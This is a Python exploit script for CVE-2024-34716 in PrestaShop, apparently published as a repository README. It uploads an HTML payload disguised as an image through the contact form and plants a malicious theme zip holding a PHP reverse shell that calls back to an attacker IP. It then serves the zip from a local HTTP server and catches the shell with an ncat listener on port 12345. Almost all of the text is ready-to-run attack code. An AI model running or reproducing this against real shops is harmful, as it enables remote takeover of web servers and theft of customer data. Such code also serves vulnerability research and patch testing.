README.md
Rendering markdown...
import argparse, requests, subprocess, time, threading, atexit, http.server, socketserver,zipfile,shutil,os
from bs4 import BeautifulSoup
print_lock = threading.Lock()
stop_event = threading.Event()
def __parse_args():
parser = argparse.ArgumentParser(description="CVE-2024-34716 Exploit")
parser.add_argument("--url", help="The Presta Shop base url.", required=True)
parser.add_argument("--email", help="The email address of admin user.", required=True)
parser.add_argument("--local-ip", help="Local HTTP Server IP.", required=True)
parser.add_argument("--admin-path", help="The Presta Shop admin path.", required=True)
args = parser.parse_args()
host_url = args.url
email = args.email
local_ip = args.local_ip
admin_path = args.admin_path
print("[X] Starting exploit with:")
print(f"\tUrl: {host_url}")
print(f"\tEmail: {email}")
print(f"\tLocal IP: {local_ip}")
print(f"\tAdmin Path: {admin_path}")
return (host_url, email, local_ip, admin_path)
def send_get_requests(url, interval=5):
while not stop_event.is_set():
try:
response = requests.get(url)
if response.status_code == 504 or response.status_code == 200:
stop_event.set()
return
print(f"GET request to {url}: {response.status_code}")
except requests.RequestException as e:
with print_lock:
print(f"Error during GET request: {e}") # Can comment this out if thread isn't stopped.
time.sleep(interval)
def run_http_server():
PORT = 5000
with socketserver.TCPServer(("", PORT), CustomRequestHandler) as httpd:
with print_lock:
print("Serving at http.Server on port", PORT)
while not stop_event.is_set():
httpd.handle_request()
def main():
host_url, email, local_ip, admin_path = __parse_args()
with open('./exploit.html', 'r') as file:
html_content = file.read()
if host_url[-1] == '/':
host_url = host_url[:-1]
html_content = html_content.replace("BASE_URL", f'"{host_url}"')
html_content = html_content.replace("ATTACKER_IP", f'"{local_ip}"')
html_content = html_content.replace("ATTACKER_PORT", "5000")
html_content = html_content.replace("ADMIN_PATH", f'"{admin_path}"')
html_content = html_content.replace("FILE_NAME", '"ps_next_8_theme_malicious.zip"')
with open('./reverse_shell_template.php', 'r') as file:
reverse_shell_content = file.read()
reverse_shell_content = reverse_shell_content.replace("ATTACKER_IP", f'"{local_ip}"')
reverse_shell_content = reverse_shell_content.replace("ATTACKER_PORT", "12345")
with open('./reverse_shell.php', 'w') as file:
file.write(reverse_shell_content)
shutil.copy('ps_next_8_theme_malicious_old.zip', 'ps_next_8_theme_malicious.zip')
with zipfile.ZipFile('ps_next_8_theme_malicious.zip', 'a') as zipf:
zipf.write('reverse_shell.php','reverse_shell_new.php')
url = f"{host_url}/contact-us"
response = requests.get(url)
response.raise_for_status()
soup = BeautifulSoup(response.text, 'html.parser')
token = soup.find('input', {'name': 'token'})['value']
cookies = response.cookies
files = {
'fileUpload': ('test.png', html_content, 'image/png'),
}
data = {
'id_contact': '2',
'from': email,
'message': 'pwned',
'url': '',
'token': token,
'submitMessage': 'Send'
}
response = requests.post(url, files=files, data=data, cookies=cookies)
url = f"{host_url}/themes/next/reverse_shell_new.php"
req_thread = threading.Thread(target=send_get_requests, args=(url, 15,))
req_thread.daemon = True
req_thread.start()
server_thread = threading.Thread(target=run_http_server)
server_thread.daemon = True
server_thread.start()
if response.status_code == 200:
print(f"[X] Ncat is now listening on port 12345. Press Ctrl+C to terminate.")
output = subprocess.call(["ncat", "-lnvp", "12345"], shell=False)
if b"Ncat: Connection from " in output:
with print_lock:
print("Stopping threads!")
stop_event.set()
else:
print(f"DEBUG:: {output}")
else:
print(f"[!] Failed to send the message. Status code: {response.status_code} Reason: {response.reason}")
def clean():
if os.path.exists('ps_next_8_theme_malicious.zip'):
os.remove('ps_next_8_theme_malicious.zip')
if os.path.exists('reverse_shell.php'):
os.remove('reverse_shell.php')
class CustomRequestHandler(http.server.SimpleHTTPRequestHandler):
def log_request(self, code='-', size='-'):
with print_lock:
print(f"Request: {self.command} {self.path} {self.request_version}")
print(f"Response: {code} {size}")
super().log_request(code, size)
if __name__ == "__main__":
clean()
atexit.register(clean)
main()